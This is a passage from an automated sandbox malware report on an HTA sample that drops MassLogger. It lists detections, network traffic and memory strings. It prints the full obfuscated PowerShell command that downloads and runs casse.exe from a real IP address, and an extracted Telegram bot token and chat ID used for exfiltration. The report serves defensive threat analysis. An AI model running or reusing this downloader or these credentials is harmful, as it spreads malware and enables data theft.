gICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))", CommandLine: poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgI

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: poWERShELl -eX BYpASs -nop -w 1 -C devICecreDeNTIaLDePlOYment.eXe ; IeX($(Iex('[sYstem.TEXT.ENCodIng]'+[CHaR]0x3A+[Char]0X3a+'UtF8.geTStrING([SYsTEm.ConvERt]'+[CHAR]58+[ChAR]58+'FRombase64String('+[chAr]34+'JE0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNQkVyZEVGaU5JdElPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnaVl1R0pHWm96YixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBndWxub0xiQnosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJmRUpjemxLdHhKLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpWVHp1VnJYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiT0JxY1p2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1Fc1BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVSVJSQVkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE06OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMTIuODkuMjQvMTIzL2Nhc3NlLmV4ZSIsIiRFTnY6QVBQREFUQVxjYXNzZS5leGUiLDAsMCk7c1RhUnQtc2xFZXAoMyk7SW5Wb2tFLWl0ZU0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGNhc3NlLmV4ZSI='+[CHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6796, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.cmdline", ProcessId: 8260, ProcessName: csc.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:20:49.042513+0100	2022050	1	A Network Trojan was detected	198.12.89.24	80	192.168.2.5	49708	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:20:49.131105+0100	2022051	1	A Network Trojan was detected	198.12.89.24	80	192.168.2.5	49708	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:20:55.682870+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://198.12.89.24/123/casse.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\casse.exe	Avira: detection malicious, Label: TR/AutoIt.wukex
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\casse[1].exe	Avira: detection malicious, Label: TR/AutoIt.wukex

Found malware configuration

Source: 00000007.00000002.2521575129.0000000002701000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7996508565:AAHHBM6wSJS6GosO-ff2t38cxPw1t-vbBj8", "Telegram Chatid": "5758197122"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\casse[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\casse.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: niceworkingskillwithbestideasevermade.hta	Virustotal: Detection: 31%			Perma Link
Source: niceworkingskillwithbestideasevermade.hta	ReversingLabs: Detection: 23%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49710 version: TLS 1.0

Source:	Binary string: q8C:\Users\user\AppData\Local\Temp\rc1uxl4b\rc1uxl4b.pdb source: powershell.exe, 00000003.00000002.1415187273.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Automation.pdb source: powershell.exe, 00000003.00000002.1430615460.000000000815A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: casse.exe, 00000006.00000003.1409758940.0000000004090000.00000004.00001000.00020000.00000000.sdmp, casse.exe, 00000006.00000003.1409250938.0000000004230000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: casse.exe, 00000006.00000003.1409758940.0000000004090000.00000004.00001000.00020000.00000000.sdmp, casse.exe, 00000006.00000003.1409250938.0000000004230000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Managem..Automation.pdb source: powershell.exe, 00000003.00000002.1430615460.000000000815A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BA445A GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00BA445A
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BAC6D1 FindFirstFileW,FindClose,	6_2_00BAC6D1
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BAC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	6_2_00BAC75C
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BAEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00BAEF95
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BAF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00BAF0F2
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BAF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00BAF3F3
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BA37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00BA37EF
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BA3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00BA3B12
Source: C:\Users\user\AppData\Roaming\casse.exe	Code function: 6_2_00BABCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	6_2_00BABCBC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00D75782h	7_2_00D75358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00D751B9h	7_2_00D74F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00D75782h	7_2_00D756AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C51935h	7_2_04C515F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5E778h	7_2_04C5E4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5BF28h	7_2_04C5BC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C50741h	7_2_04C50498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C53EF8h	7_2_04C53C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5DEC8h	7_2_04C5DC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5D088h	7_2_04C5CDE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5F028h	7_2_04C5ED80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C50FF1h	7_2_04C50D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5C7D8h	7_2_04C5C530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5A970h	7_2_04C5A6C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5D93Ah	7_2_04C5D690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5A0C0h	7_2_04C59E18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5F8D8h	7_2_04C5F630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C531F0h	7_2_04C52F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5B220h	7_2_04C5AF78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5C380h	7_2_04C5C0D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C50B99h	7_2_04C508F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C54350h	7_2_04C540A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C502E9h	7_2_04C50040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5E320h	7_2_04C5E078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5BAD0h	7_2_04C5B828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5F480h	7_2_04C5F1D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5CC30h	7_2_04C5C988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C51449h	7_2_04C511A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5EBD0h	7_2_04C5E928
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C52D98h	7_2_04C52AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5FD30h	7_2_04C5FA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5A518h	7_2_04C5A270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5D4E0h	7_2_04C5D238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5B678h	7_2_04C5B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C53648h	7_2_04C533A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04C5ADC8h	7_2_04C5AB20

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 198.12.89.24:80 -> 192.168.2.5:49708
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 198.12.89.24:80 -> 192.168.2.5:49708

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Mar 2025 08:20:48 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Mon, 10 Mar 2025 13:22:08 GMTETag: "ed600-62ffcdbf4d44c"Accept-Ranges: bytesContent-Length: 972288Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 7d c3 9c 52 69 63 68 72 7d c3 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1c e7 ce 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 de 08 00 00 f4 05 00 00 00 00 00 cd 7d 02 00 00 10 00 00 00 f0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0f 00 00 04 00 00 9a c9 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c a4 0b 00 7c 01 00 00 00 70 0c 00 7c 4c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 1c 71 00 00 c0 2b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 48 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 08 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 dc 08 00 00 10 00 00 00 de 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e e1 02 00 00 f0 08 00 00 e2 02 00 00 e2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 e0 0b 00 00 52 00 00 00 c4 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 4c 02 00 00 70 0c 00 00 4e 02 00 00 16 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 71 00 00 00 c0 0e 00 00 72 00 00 00 64 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49709 -> 158.101.44.242:80

Source: global traffic	HTTP traffic detected: GET /123/casse.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 198.12.89.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49710 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00CC7A18 URLDownloadToFileW,

3_2_00CC7A18

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /123/casse.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 198.12.89.24Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: powershell.exe, 00000003.00000002.1415187273.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.89.24/123/casse.ex
Source: powershell.exe, 00000003.00000002.1415187273.0000000004EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.89.24/123/casse.exe
Source: powershell.exe, 00000003.00000002.1430615460.0000000008116000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.89.24/123/casse.exeI
Source: powershell.exe, 00000003.00000002.1430615460.0000000008116000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.89.24/123/casse.exeM
Source: powershell.exe, 00000003.00000002.1412957222.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.12.89.24/123/casse.exeSSC:
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comd
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comh
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002780000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2521575129.000000000276E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000007.00000002.2521575129.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
